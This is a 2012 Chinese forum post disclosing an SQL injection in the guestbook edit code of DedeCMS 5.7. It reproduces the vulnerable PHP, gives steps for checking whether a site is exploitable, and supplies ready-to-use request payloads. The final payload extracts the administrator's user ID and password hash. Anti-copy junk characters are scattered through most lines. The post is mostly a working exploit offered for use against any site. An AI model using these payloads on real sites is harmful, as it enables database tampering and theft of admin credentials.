找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4282|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
5 w+ H# m" W- a! t: i6 _1 w
: X5 _7 f5 Q5 h, J& H漏洞文件edit.inc.php具体代码:
/ q, w( e* j2 P  @" [3 `3 C9 Z$ Y) W, a3 m  Y
< ?php  . |9 k5 f. I8 `/ S

# l+ A$ I. o; [: g& Y8 M" N4 x6 mif(!defined('DEDEINC')) exit('Request Error!');  ( a: U- N. Y) e  k

! O5 A" L8 q8 y/ d8 [8 q   " r. W8 n9 V4 A" ~
5 X7 v, Q% h6 z
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
$ y- S4 w; c5 |, p: ~6 U; P& e0 A; l# E0 V+ \! k; u( ]. Q  Z
else $GUEST_BOOK_POS = "guestbook.php";  
& W! p5 Z( r( F: |# A) H* h& [. l3 }% T/ a* h
   
9 [  O5 H1 l6 d! }7 B3 W/ Q$ N- h& @! N8 k1 T/ f. R7 V
$id = intval($id);  
9 w% d  T/ n  L
: ]' c8 G  V: n  F9 V; }if(empty($job)) $job='view';  " u6 E1 W( R; B# `: u

& d# o7 }. W; _3 b. B( `   ! ^2 F7 A+ i' e0 N3 Z8 a
! d3 q2 U4 j& A* S  a/ ?
if($job=='del' && $g_isadmin)  
  K" [# F4 [, V8 g& n
3 x1 e7 C0 u/ {+ w{  
+ N% Z1 g- d- a; c/ s
1 D% [5 f- Y& ]+ G$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ! E" |5 b0 K4 F1 e9 D
% r( {  F- O- d# f: t/ i
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  % j0 k, h3 P0 N
; Y; i4 D8 G- o; ?1 z' |, s+ F/ T5 f
exit();  0 h$ v! H+ {* |0 F7 ~5 [# ~: \9 A

! p: e  n! d  ~7 z: H8 p}  
2 H: S! g, k0 d) h) i: c* t6 q2 h! k6 V' y# T+ d
else if($job=='check' && $g_isadmin)  
) U+ l/ Q% K* j2 t- x8 Y* q) [9 k- l
9 h0 b- I5 Z1 }9 m{  
- w" j& V5 }, P& @% {
7 F5 d$ e7 [9 M: p3 q  @$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  ( D6 C: ^  y4 D, M( T0 r& F
) W( t) E  a: b( n; K0 ~. ?
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  $ @( ?, n2 W2 g2 {( U& R% A2 b

, o/ B! _0 }8 {, n5 ?4 J3 uexit();  . B2 n8 g4 |. V: c- s# w

1 Z) ~) Y0 v/ Z  y& v" a/ _: e}  : A6 B% T- P" M% t

- f; a% E/ {9 O, C/ \) m, i" P' r* t; ielse if($job=='editok')  
' p/ d1 p3 z: l4 W% q$ S  K2 A  u) c5 {9 T1 y9 U) o! Y+ r( s# G
{  2 g- b7 }/ G. ^
3 C/ ^8 g" p8 k" A9 F+ G, b. J! c. z
$remsg = trim($remsg);  0 Y- G; l# P1 V. v1 C, l

- O# W% ~& Q) _! fif($remsg!='')  6 h  u* j, G; P* X* A

) S9 R$ `* Y/ W{  ; `$ Z: W1 P! `4 A0 D
" R* }# l( @8 r0 w3 U
//管理员回复不过滤HTML By:Errorera blog:errs.cc  - |$ L2 v! K  G; C4 ~

' {) L& w; o/ rif($g_isadmin)  
) {" O% f* p& Z  Q7 X, o0 ]) _9 R* H. @+ F) ]
{  - b5 P0 V( q$ U0 b" l/ z+ X
: g" c$ d9 p+ j  L- `/ m
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
. c" V+ Q1 P' Z3 c' T: s# D: o$ T" ]3 Q+ v2 {/ }4 n
//$remsg <br /><font color=red>管理员回复:</font> }  
* I2 A4 I) k. M' T# J& E$ a
. Y7 A: T2 y3 Melse 9 D- p0 \* h) f6 r, Z
2 a+ A# n" _& G: C6 [+ J
{  
7 f8 T- b# G3 v9 S  o- S4 q5 @) U9 k. x% v# N
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  $ p+ Z. Y4 Z4 ~9 E+ S8 O- x
4 q: s8 C* g& t
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
" u! p/ r* W. V7 p- r$ V8 z  I- r$ ^, y/ o5 W
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  9 O4 P6 T3 Y( X/ _9 k7 u( S
2 t: w+ d: J! w9 x$ q% A7 y
$msg = $oldmsg.$remsg;  
( a  d; x, l5 n( v" k2 V. K
8 }0 |# j, T% i}  
  N. l% c$ e. k1 x- q# ?: s3 s5 ]- I# L- ?9 `& F
}  ) Z9 b( b; P. O3 C# q, Q" Q  `+ I
) l" W! f& V6 o+ L" ^, R# C
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
7 f# N( M8 ]' A8 {& R( L0 s0 `; j. @. F; X: v
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
+ c9 \3 Z3 p$ K( }' P, G0 |
- i. @1 D( l0 |; D( C% z! JShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ' \' }. Z# D. c

. l8 `) l5 k* c3 q1 F/ K  w+ Kexit();  
7 [, f1 e) U8 S. j
4 J& ]6 a) f+ `: y. g6 u" U: \}  ; g3 g0 n: ]. m/ B

/ T4 l3 }% Y$ u//home:www.errs.cc  # p5 l5 L  |4 Z8 i* \' X: C

& l7 G: H/ a' R( u) C; dif($g_isadmin)  
7 [% z9 y3 q0 l  Y9 u" b4 c
2 \6 |" l' e* c{  
, v6 B) P  c, E, b; u7 e
5 K$ H6 D% j; D  F2 x$ y$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  - B6 h* C* c( S4 {2 l% C2 m

9 W- d; |) ~1 D; l8 m2 s! lrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  + `/ R2 q- z" s; p

7 @, x  c) J8 w' e}  8 r% u6 R* A- w; t2 n6 y

; y& Q0 H( e$ }. B' h4 Relse ) x0 |1 j" e9 a& z8 c7 X% n7 D# E
8 \( R. ~# n+ T2 f, X6 C+ n0 Z
{  & N, Y  n( o( K2 ]# f

5 f6 d9 X  i6 Q5 Q$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
2 V8 Z# O, S" O  C8 d& U8 W/ T# U9 t3 K' A/ g9 z. |+ h9 o
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
  c( q" `6 V% h& ~; K) J" R; U6 _3 V- I, Q5 N4 Q
} 漏洞成功需要条件:
/ P( h$ U9 l" z1 s* U' s1. php magic_quotes_gpc=off* o5 d! a( z* s& O
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
4 \" p2 I2 ^, N9 p0 X1 N8 M+ a, p
+ [: z7 }5 V" Y7 A) e; [4 \怎么判断是否存在漏洞:
- o& v  s8 w$ ~先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
) P6 \6 p- q! Q) ?" c然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
2 E* p0 g# c, p' d) J( A访问:
0 t5 U7 l" O0 X9 k* E& z& x( t3 ~! u- ?  k- O: a
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了4 M) b- s$ L1 ^3 Z, x" ]
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
% `6 k" }) a2 _. ]! R1 R  r' S  ^3 |  g& g7 p  {8 X0 C' u8 N* E; Y) [
  X' x6 k3 u+ {
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off) ], p' [2 V- u$ l5 M8 l
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。( b" `) p7 L& `- H
那么再次访问) R- R3 r, l( q. P* }
. T0 `2 l# F' E2 ]! [  C; l. M, C
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
* ?& [3 |* e( \2 N9 N1 ?) ]; {! c& n/ K
大概利用就是这样,大家有兴趣的多研究下!!
* m0 }0 ]: B# Y0 f( i" d0 ?2 j  j# [6 `
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
+ h4 w/ g8 y9 m8 y- S0 [; t  n# t8 h8 {
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表